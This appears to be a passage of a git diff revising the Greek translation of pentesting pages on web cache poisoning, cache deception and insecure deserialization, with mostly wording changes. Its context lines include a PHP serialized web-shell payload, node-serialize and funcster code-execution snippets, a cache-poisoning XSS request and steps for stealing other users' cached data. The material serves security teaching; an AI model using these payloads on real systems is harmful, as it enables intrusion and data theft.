δυνατή η zero-click ATO μέσω μαζικής εξαγωγής `document.cookie` από όλους τους χρήστες που εξυπηρετούνται από το δηλητηριασμένο HTML. +- Εάν τα session cookies δεν είναι `HttpOnly`, είναι δυνατή η zero-click ATO με τη μαζική εξαγωγή του `document.cookie` από όλους τους χρήστες που εξυπηρετούνται από το δηλητηριασμένο HTML. Defenses: @@ -200,19 +200,19 @@ Defenses: ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -Το ATS προώθησε το τμήμα μέσα στο URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί cache χρησιμοποιώντας μόνο τον host, τη διαδρομή και το query (αγνοώντας το τμήμα). Έτσι, το αίτημα `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το κλειδί cache δεν είχε το payload μέσα του, μόνο host, διαδρομή και query. +Το ATS προώθησε το τμήμα μέσα στη διεύθυνση URL χωρίς να το αφαιρέσει και δημιούργησε το κλειδί cache χρησιμοποιώντας μόνο τον host, τη διαδρομή και το query (αγνοώντας το τμήμα). Έτσι, το αίτημα `/#/../?r=javascript:alert(1)` στάλθηκε στο backend ως `/#/../?r=javascript:alert(1)` και το κλειδί cache δεν είχε το payload μέσα του, μόνο host, διαδρομή και query. ### GitHub CP-DoS -Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached response. Το κλειδί cache περιείχε το cookie, οπότε ήταν δυνατό να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες. +Η αποστολή μιας κακής τιμής στην κεφαλίδα content-type προκάλεσε μια 405 cached απάντηση. Το κλειδί cache περιείχε το cookie, οπότε ήταν δυνατό να επιτεθεί μόνο σε μη εξουσιοδοτημένους χρήστες. ### GitLab + GCP CP-DoS -Το GitLab χρησιμοποιεί GCP buckets για να αποθηκεύει στατικό περιεχόμενο. **GCP Buckets** υποστηρίζουν την **κεφαλίδα `x-http-method-override`**. Έτσι, ήταν δυνατό να σταλεί η κεφαλίδα `x-http-method-override: HEAD` και να δηλητηριαστεί η cache ώστε να επιστρέφει ένα κενό σώμα απόκρισης. Θα μπορούσε επίσης να υποστηρίξει τη μέθοδο `PURGE`. +Το GitLab χρησιμοποιεί GCP buckets για να αποθηκεύει στατικό περιεχόμενο. **GCP Buckets** υποστηρίζουν την **κεφαλίδα `x-http-method-override`**. Έτσι, ήταν δυνατό να σταλεί η κεφαλίδα `x-http-method-override: HEAD` και να δηλητηριαστεί η cache ώστε να επιστρέφει ένα κενό σώμα απάντησης. Μπορούσε επίσης να υποστηρίξει τη μέθοδο `PURGE`. ### Rack Middleware (Ruby on Rails) -Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το σχήμα του αιτήματος. Όταν σταλεί η κεφαλίδα `x-forwarded-scheme: http`, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας πιθανώς μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια. +Σε εφαρμογές Ruby on Rails, συχνά χρησιμοποιείται το Rack middleware. Ο σκοπός του κώδικα Rack είναι να πάρει την τιμή της κεφαλίδας **`x-forwarded-scheme`** και να την ορίσει ως το σχήμα του αιτήματος. Όταν σταλεί η κεφαλίδα `x-forwarded-scheme: http`, συμβαίνει μια 301 ανακατεύθυνση στην ίδια τοποθεσία, προκαλώντας ενδεχομένως μια Άρνηση Υπηρεσίας (DoS) σε αυτόν τον πόρο. Επιπλέον, η εφαρμογή μπορεί να αναγνωρίσει την κεφαλίδα `X-forwarded-host` και να ανακατευθύνει τους χρήστες στον καθορισμένο host. Αυτή η συμπεριφορά μπορεί να οδηγήσει στη φόρτωση αρχείων JavaScript από τον διακομιστή ενός επιτιθέμενου, θέτοντας σε κίνδυνο την ασφάλεια. ### 403 and Storage Buckets @@ -220,15 +220,15 @@ Defenses: ### Injecting Keyed Parameters -Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήσεις. Ωστόσο, εάν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) αποσταλεί επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error. +Οι caches συχνά περιλαμβάνουν συγκεκριμένες παραμέτρους GET στο κλειδί cache. Για παράδειγμα, το Varnish της Fastly αποθήκευε την παράμετρο `size` σε αιτήσεις. Ωστόσο, εάν μια URL-encoded έκδοση της παραμέτρου (π.χ. `siz%65`) αποστέλλεται επίσης με λανθασμένη τιμή, το κλειδί cache θα κατασκευαστεί χρησιμοποιώντας την σωστή παράμετρο `size`. Ωστόσο, το backend θα επεξεργαστεί την τιμή στην URL-encoded παράμετρο. Η URL-encoding της δεύτερης παραμέτρου `size` οδήγησε στην παράλειψή της από την cache αλλά στη χρήση της από το backend. Η εκχώρηση μιας τιμής 0 σε αυτή την παράμετρο είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα. ### User Agent Rules -Ορισμένοι προγραμματιστές αποκλείουν αιτήσεις με user-agents που ταιριάζουν με εκείνους εργαλείων υψηλής κυκλοφορίας όπως το FFUF ή το Nuclei για να διαχειριστούν το φορτίο του διακομιστή. Σαφώς, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως η δηλητηρίαση cache και DoS. +Ορισμένοι προγραμματιστές αποκλείουν αιτήσεις με user-agents που ταιριάζουν με εκείνα εργαλείων υψηλής κυκλοφορίας όπως το FFUF ή το Nuclei για να διαχειριστούν το φορτίο του διακομιστή. Σαφώς, αυτή η προσέγγιση μπορεί να εισάγει ευπάθειες όπως η δηλητηρίαση cache και DoS. ### Illegal Header Fields -Το [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στις κεφαλίδες. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός της καθορισμένης **tchar** περιοχής θα πρέπει ιδανικά να προκαλούν μια 400 Bad Request απάντηση. Στην πράξη, οι διακομιστές δεν τηρούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε 400 σφάλμα, εφόσον η κεφαλίδα `cache-control` δεν είναι παρούσα. Ένα εκμεταλλεύσιμο μοτίβο εντοπίστηκε όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως το `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request error. +Το [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) καθορίζει τους αποδεκτούς χαρακτήρες στις κεφαλίδες. Οι κεφαλίδες που περιέχουν χαρακτήρες εκτός της καθορισμένης **tchar** περιοχής θα πρέπει ιδανικά να προκαλούν μια 400 Bad Request απάντηση. Στην πράξη, οι διακομιστές δεν τηρούν πάντα αυτό το πρότυπο. Ένα αξιοσημείωτο παράδειγμα είναι η Akamai, η οποία προωθεί κεφαλίδες με μη έγκυρους χαρακτήρες και αποθηκεύει οποιοδήποτε 400 σφάλμα, εφόσον η κεφαλίδα `cache-control` δεν είναι παρούσα. Ένα εκμεταλλεύσιμο μοτίβο εντοπίστηκε όπου η αποστολή μιας κεφαλίδας με έναν παράνομο χαρακτήρα, όπως το `\`, θα είχε ως αποτέλεσμα ένα cacheable 400 Bad Request σφάλμα. ### Finding new headers @@ -238,7 +238,7 @@ Defenses: Ο στόχος της Cache Deception είναι να κάνει τους πελάτες **να φορτώνουν πόρους που πρόκειται να αποθηκευτούν από την cache με τις ευαίσθητες πληροφορίες τους**. -Πρώτα απ' όλα σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απόκριση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες. +Πρώτα απ' όλα σημειώστε ότι οι **επέκταση** όπως `.css`, `.js`, `.png` κ.λπ. είναι συνήθως **ρυθμισμένες** να **αποθηκεύονται** στην **cache.** Επομένως, αν αποκτήσετε πρόσβαση στο `www.example.com/profile.php/nonexistent.js`, η cache θα αποθηκεύσει πιθανώς την απάντηση επειδή βλέπει την **επέκταση** `.js`. Αλλά, αν η **εφαρμογή** **αναπαράγει** με το **ευαίσθητο** περιεχόμενο χρήστη που αποθηκεύεται στο _www.example.com/profile.php_, μπορείτε να **κλέψετε** αυτά τα περιεχόμενα από άλλους χρήστες. Άλλα πράγματα για δοκιμή: @@ -253,13 +253,13 @@ Defenses: Στο παράδειγμα, εξηγείται ότι αν φορτώσετε μια ανύπαρκτη σελίδα όπως _http://www.example.com/home.php/non-existent.css_, το περιεχόμενο του _http://www.example.com/home.php_ (**με τις ευαίσθητες πληροφορίες του χρήστη**) θα επιστραφεί και ο διακομιστής cache θα αποθηκεύσει το αποτέλεσμα.\ Στη συνέχεια, ο **επιτιθέμενος** μπορεί να αποκτήσει πρόσβαση στο _http://www.example.com/home.php/non-existent.css_ στον δικό του περιηγητή και να παρατηρήσει τις **εμπιστευτικές πληροφορίες** των χρηστών που είχαν πρόσβαση πριν. -Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **αποθηκεύει** αρχεία **βάσει** της **επέκτασης** του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ θα έχει έναν content-type `text/html` αντί για έναν mime type `text/css` (ο οποίος είναι ο αναμενόμενος για ένα _.css_ αρχείο). +Σημειώστε ότι ο **cache proxy** θα πρέπει να είναι **ρυθμισμένος** να **αποθηκεύει** αρχεία **βάσει** της **επέκτασης** του αρχείου (_.css_) και όχι βάσει του content-type. Στο παράδειγμα _http://www.example.com/home.php/non-existent.css_ θα έχει ένα `text/html` content-type αντί για ένα `text/css` mime type (το οποίο είναι το αναμενόμενο για ένα _.css_ αρχείο). Μάθετε εδώ πώς να εκτελέσετε [Cache Deceptions επιθέσεις εκμεταλλευόμενοι το HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). ## Automatic Tools -- [**toxicache**](https://github.com/xhzeem/toxicache): Σαρωτής Golang για να βρει ευπάθειες δηλητηρίασης web cache σε μια λίστα URL και να δοκιμάσει πολλές τεχνικές έγχυσης. +- [**toxicache**](https://github.com/xhzeem/toxicache): Σαρωτής Golang για να βρει ευπάθειες δηλητηρίασης web cache σε μια λίστα URL και να δοκιμάσει πολλές τεχνικές ένεσης. ## References diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index d425b3c9b..eeb25782d 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -8,7 +8,7 @@ **Deserialization**, αντιθέτως, είναι η διαδικασία που αντενδρά στη serialization. Περιλαμβάνει τη λήψη δεδομένων που έχουν δομηθεί σε μια συγκεκριμένη μορφή και την ανακατασκευή τους πίσω σε ένα αντικείμενο. -Η deserialization μπορεί να είναι επικίνδυνη επειδή **επιτρέπει στους επιτιθέμενους να χειρίζονται τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα** ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου. +Η deserialization μπορεί να είναι επικίνδυνη επειδή δυνητικά **επιτρέπει στους επιτιθέμενους να χειριστούν τα serialized δεδομένα για να εκτελέσουν επιβλαβή κώδικα** ή να προκαλέσουν απροσδόκητη συμπεριφορά στην εφαρμογή κατά τη διάρκεια της διαδικασίας ανακατασκευής του αντικειμένου. ## PHP @@ -116,7 +116,7 @@ $o->param1 =& $o->param22; $o->param = "PARAM"; $ser=serialize($o); ``` -### Αποτροπή PHP Object Injection με `allowed_classes` +### Αποτροπή PHP Object Injection με το `allowed_classes` > [!INFO] > Η υποστήριξη για το **δεύτερο επιχείρημα** της `unserialize()` (τον πίνακα `$options`) προστέθηκε στην **PHP 7.0**. Σε παλαιότερες εκδόσεις, η συνάρτηση δέχεται μόνο τη σειριοποιημένη συμβολοσειρά, καθιστώντας αδύνατη την περιορισμένη δημιουργία κλάσεων. @@ -161,7 +161,7 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";} ``` Μόλις ο διαχειριστής είδε την καταχώρηση, το αντικείμενο δημιουργήθηκε και εκτελέστηκε το `SomeClass::__destruct()`, με αποτέλεσμα την εκτέλεση αυθαίρετου κώδικα. -**Σημειώσεις** +**Σημαντικά σημεία** 1. Πάντα να περνάτε `['allowed_classes' => false]` (ή μια αυστηρή λευκή λίστα) όταν καλείτε το `unserialize()`. 2. Ελέγξτε τις αμυντικές περιτυλίξεις – συχνά ξεχνούν τους κληρονόμους PHP παλαιάς έκδοσης. 3. Η αναβάθμιση σε **PHP ≥ 7.x** από μόνη της *δεν είναι* επαρκής: η επιλογή πρέπει να παρέχεται ρητά. @@ -179,7 +179,6 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";} Αν έχετε βρει ένα LFI που απλώς διαβάζει το αρχείο και δεν εκτελεί τον php κώδικα μέσα σε αυτό, για παράδειγμα χρησιμοποιώντας συναρτήσεις όπως _**file_get_contents(), fopen(), file() ή file_exists(), md5_file(), filemtime() ή filesize()**_**.** Μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια **deserialization** που συμβαίνει όταν **διαβάζετε** ένα **αρχείο** χρησιμοποιώντας το **phar** πρωτόκολλο.\ Για περισσότερες πληροφορίες διαβάστε την παρακάτω ανάρτηση: - {{#ref}} ../file-inclusion/phar-deserialization.md {{#endref}} @@ -207,7 +206,7 @@ print(base64.b64encode(pickle.dumps(P()))) ### Yaml **&** jsonpickle -Η παρακάτω σελίδα παρουσιάζει την τεχνική για **κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls** βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE deserialization payload για **Pickle, PyYAML, jsonpickle και ruamel.yaml**: +Η παρακάτω σελίδα παρουσιάζει την τεχνική για **κατάχρηση μιας μη ασφαλούς αποσυμπίεσης σε yamls** βιβλιοθήκες python και τελειώνει με ένα εργαλείο που μπορεί να χρησιμοποιηθεί για να δημιουργήσει RCE payload αποσυμπίεσης για **Pickle, PyYAML, jsonpickle και ruamel.yaml**: {{#ref}} python-yaml-deserialization.md @@ -224,9 +223,9 @@ python-yaml-deserialization.md ### JS Magic Functions JS **δεν έχει "μαγικές" συναρτήσεις** όπως PHP ή Python που θα εκτελούνται μόνο και μόνο για να δημιουργήσουν ένα αντικείμενο. Αλλά έχει κάποιες **συναρτήσεις** που χρησιμοποιούνται **συχνά ακόμα και χωρίς να τις καλείτε άμεσα** όπως **`toString`**, **`valueOf`**, **`toJSON`**.\ -Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) και θα μπορούσατε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται. +Αν καταχραστείτε μια αποσυμπίεση μπορείτε να **συμβιβάσετε αυτές τις συναρτήσεις για να εκτελέσετε άλλο κώδικα** (πιθανώς καταχρώντας τις ρυπάνσεις πρωτοτύπου) μπορείτε να εκτελέσετε αυθαίρετο κώδικα όταν καλούνται. -Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια ασύγχρονη συνάρτηση** (υπόσχεση). Διότι, αν **μετασχηματίσετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._ +Ένας άλλος **"μαγικός" τρόπος για να καλέσετε μια συνάρτηση** χωρίς να την καλέσετε άμεσα είναι με το **να συμβιβάσετε ένα αντικείμενο που επιστρέφεται από μια ασύγχρονη συνάρτηση** (υπόσχεση). Διότι, αν **μετατρέψετε** αυτό το **επιστρεφόμενο αντικείμενο** σε άλλη **υπόσχεση** με μια **ιδιότητα** που ονομάζεται **"then" τύπου συνάρτησης**, θα **εκτελείται** μόνο και μόνο επειδή επιστρέφεται από άλλη υπόσχεση. _Ακολουθήστε_ [_**αυτόν τον σύνδεσμο**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _για περισσότερες πληροφορίες._ ```javascript // If you can compromise p (returned object) to be a promise // it will be executed just because it's the return object of an async function: @@ -250,7 +249,7 @@ test_ressolve() test_then() //For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ ``` -### `__proto__` και `prototype` ρύπανση +### `__proto__` και ρύπανση `prototype` Αν θέλετε να μάθετε για αυτή την τεχνική **ρίξτε μια ματιά στο παρακάτω tutorial**: @@ -289,7 +288,7 @@ console.log("Serialized: \n" + payload_serialized) Όπως μπορείτε να δείτε στο τελευταίο κομμάτι κώδικα, **αν βρεθεί η σημαία** χρησιμοποιείται το `eval` για να αποσειριοποιήσει τη συνάρτηση, οπότε βασικά **η είσοδος του χρήστη χρησιμοποιείται μέσα στη συνάρτηση `eval`**. Ωστόσο, **απλά σειριοποιώντας** μια συνάρτηση **δεν θα την εκτελέσει** καθώς θα ήταν απαραίτητο κάποιο μέρος του κώδικα να **καλεί το `y.rce`** στο παράδειγμά μας και αυτό είναι πολύ **απίθανο**.\ -Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** ώστε να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\ +Ούτως ή άλλως, θα μπορούσατε απλά να **τροποποιήσετε το σειριοποιημένο αντικείμενο** **προσθέτοντας μερικές παρενθέσεις** προκειμένου να εκτελείται αυτόματα η σειριοποιημένη συνάρτηση όταν το αντικείμενο αποσειριοποιείται.\ Στο επόμενο κομμάτι κώδικα **προσέξτε την τελευταία παρένθεση** και πώς η συνάρτηση `unserialize` θα εκτελέσει αυτόματα τον κώδικα: ```javascript var serialize = require("node-serialize") @@ -309,9 +308,9 @@ serialize.unserialize(test) ### [funcster](https://www.npmjs.com/package/funcster) -Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η μη προσβασιμότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτή η περιοριστική πολιτική αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`. +Ένα αξιοσημείωτο χαρακτηριστικό του **funcster** είναι η απροσβλητότητα των **τυπικών ενσωματωμένων αντικειμένων**; βρίσκονται εκτός του προσβάσιμου πεδίου. Αυτός ο περιορισμός αποτρέπει την εκτέλεση κώδικα που προσπαθεί να καλέσει μεθόδους σε ενσωματωμένα αντικείμενα, οδηγώντας σε εξαιρέσεις όπως το `"ReferenceError: console is not defined"` όταν χρησιμοποιούνται εντολές όπως `console.log()` ή `require(something)`. -Παρά αυτόν τον περιορισμό, είναι δυνατή η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα: +Παρά αυτόν τον περιορισμό, η αποκατάσταση πλήρους πρόσβασης στο παγκόσμιο πλαίσιο, συμπεριλαμβανομένων όλων των τυπικών ενσωματωμένων αντικειμένων, είναι δυνατή μέσω μιας συγκεκριμένης προσέγγισης. Εκμεταλλευόμενοι άμεσα το παγκόσμιο πλαίσιο, μπορεί κανείς να παρακάμψει αυτόν τον περιορισμό. Για παράδειγμα, η πρόσβαση μπορεί να αποκατασταθεί χρησιμοποιώντας το παρακάτω απόσπασμα: ```javascript funcster = require("funcster") //Serialization @@ -343,7 +342,7 @@ function deserialize(serializedJavascript) { return eval("(" + serializedJavascript + ")") } ``` -Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **εκμεταλλευτείτε εύκολα** αυτό: +Αν αυτή η συνάρτηση χρησιμοποιείται για να αποδομήσει αντικείμενα, μπορείτε να **εκμεταλλευτείτε εύκολα**: ```javascript var serialize = require("serialize-javascript") //Serialization @@ -392,18 +391,18 @@ deserialize(test) Για δοκιμές black box, αναζητήστε συγκεκριμένες **υπογραφές ή "Magic Bytes"** που δηλώνουν java serialized objects (προερχόμενα από `ObjectInputStream`): -- Εξαδικό μοτίβο: `AC ED 00 05`. -- Μοτίβο Base64: `rO0`. +- Εξαδική μορφή: `AC ED 00 05`. +- Μορφή Base64: `rO0`. - HTTP response headers με `Content-type` ρυθμισμένο σε `application/x-java-serialized-object`. -- Εξαδικό μοτίβο που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`. -- Μοτίβο Base64 που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`. -- Ιστοσελίδες με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των μοτίβων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναλύεται στην [ανάρτηση σχετικά με την Deserialization του Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md). +- Εξαδική μορφή που υποδηλώνει προηγούμενη συμπίεση: `1F 8B 08 00`. +- Μορφή Base64 που υποδηλώνει προηγούμενη συμπίεση: `H4sIA`. +- Ιστοσελίδες με την επέκταση `.faces` και την παράμετρο `faces.ViewState`. Η ανακάλυψη αυτών των προτύπων σε μια διαδικτυακή εφαρμογή θα πρέπει να προκαλέσει μια εξέταση όπως αναλύεται στην [ανάρτηση σχετικά με την Deserialization του Java JSF ViewState](java-jsf-viewstate-.faces-deserialization.md). ``` javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s ``` ### Έλεγχος αν είναι ευάλωτο -Αν θέλετε να **μάθετε πώς λειτουργεί μια εκμετάλλευση Java Deserialized** θα πρέπει να ρίξετε μια ματιά σε [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), και [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). +Αν θέλετε να **μάθετε πώς λειτουργεί μια εκμετάλλευση Java Deserialized** θα πρέπει να ρίξετε μια ματιά στα [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), και [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). #### Δοκιμή White Box @@ -420,11 +419,11 @@ grep -R InvokeTransformer . Χρησιμοποιώντας την επέκταση Burp [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) μπορείτε να προσδιορίσετε **ποια βιβλιοθήκες είναι διαθέσιμες** (και ακόμη και τις εκδόσεις τους). Με αυτές τις πληροφορίες θα μπορούσε να είναι **ευκολότερο να επιλέξετε ένα payload** για να εκμεταλλευτείτε την ευπάθεια.\ [**Διαβάστε αυτό για να μάθετε περισσότερα για το GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ -Το GadgetProbe επικεντρώνεται σε **`ObjectInputStream` deserializations**. +Το GadgetProbe επικεντρώνεται στις **`ObjectInputStream` deserializations**. Χρησιμοποιώντας την επέκταση Burp [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) μπορείτε να **εντοπίσετε ευάλωτες βιβλιοθήκες** που μπορούν να εκμεταλλευτούν με το ysoserial και να **τις εκμεταλλευτείτε**.\ [**Διαβάστε αυτό για να μάθετε περισσότερα για το Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ -Ο Java Deserialization Scanner επικεντρώνεται σε **`ObjectInputStream`** deserializations. +Ο Java Deserialization Scanner επικεντρώνεται στις **`ObjectInputStream`** deserializations. Μπορείτε επίσης να χρησιμοποιήσετε [**Freddy**](https://github.com/nccgroup/freddy) για να **εντοπίσετε ευπάθειες deserialization** στο **Burp**. Αυτό το πρόσθετο θα ανιχνεύσει **όχι μόνο ευπάθειες σχετικές με το `ObjectInputStream`** αλλά **και** ευπάθειες από βιβλιοθήκες deserialization **Json** και **Yml**. Σε ενεργό λειτουργία, θα προσπαθήσει να τις επιβεβαιώσει χρησιμοποιώντας payloads sleep ή DNS.\ [**Μπορείτε να βρείτε περισσότερες πληροφορίες για το Freddy εδώ.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) @@ -550,7 +549,7 @@ mvn clean package -DskipTests - **HTTP requests**: Η serialization χρησιμοποιείται ευρέως στη διαχείριση παραμέτρων, ViewState, cookies, κ.λπ. - **RMI (Remote Method Invocation)**: Το πρωτόκολλο Java RMI, το οποίο βασίζεται εξ ολοκλήρου στη serialization, είναι θεμέλιο για την απομακρυσμένη επικοινωνία σε εφαρμογές Java. -- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java-based thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων. +- **RMI over HTTP**: Αυτή η μέθοδος χρησιμοποιείται συνήθως από εφαρμογές ιστού Java που βασίζονται σε thick client, χρησιμοποιώντας serialization για όλες τις επικοινωνίες αντικειμένων. - **JMX (Java Management Extensions)**: Το JMX χρησιμοποιεί serialization για τη μετάδοση αντικειμένων μέσω του δικτύου. - **Custom Protocols**: Στην Java, η τυπική πρακτική περιλαμβάνει τη μετάδοση ακατέργαστων αντικειμένων Java, κάτι που θα αποδειχθεί σε επερχόμενα παραδείγματα εκμετάλλευσης. @@ -623,7 +622,7 @@ return Status.ALLOWED; }; ObjectInputFilter.Config.setSerialFilter(filter); ``` -**Εκμετάλλευση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυμπίεσης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυμπίεση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης. +**Αξιοποίηση Εξωτερικών Βιβλιοθηκών για Βελτιωμένη Ασφάλεια**: Βιβλιοθήκες όπως οι **NotSoSerial**, **jdeserialize** και **Kryo** προσφέρουν προηγμένα χαρακτηριστικά για τον έλεγχο και την παρακολούθηση της αποσυμπίεσης Java. Αυτές οι βιβλιοθήκες μπορούν να παρέχουν επιπλέον επίπεδα ασφάλειας, όπως η λευκή ή μαύρη λίστα κλάσεων, η ανάλυση σειριοποιημένων αντικειμένων πριν από την αποσυμπίεση και η εφαρμογή προσαρμοσμένων στρατηγικών σειριοποίησης. - **NotSoSerial** παρεμβαίνει στις διαδικασίες αποσυμπίεσης για να αποτρέψει την εκτέλεση μη αξιόπιστου κώδικα. - **jdeserialize** επιτρέπει την ανάλυση σειριοποιημένων αντικειμένων Java χωρίς να τα αποσυμπιέσει, βοηθώντας στην αναγνώριση δυνητικά κακόβουλου περιεχομένου. @@ -632,15 +631,15 @@ ObjectInputFilter.Config.setSerialFilter(filter); ### Αναφορές - 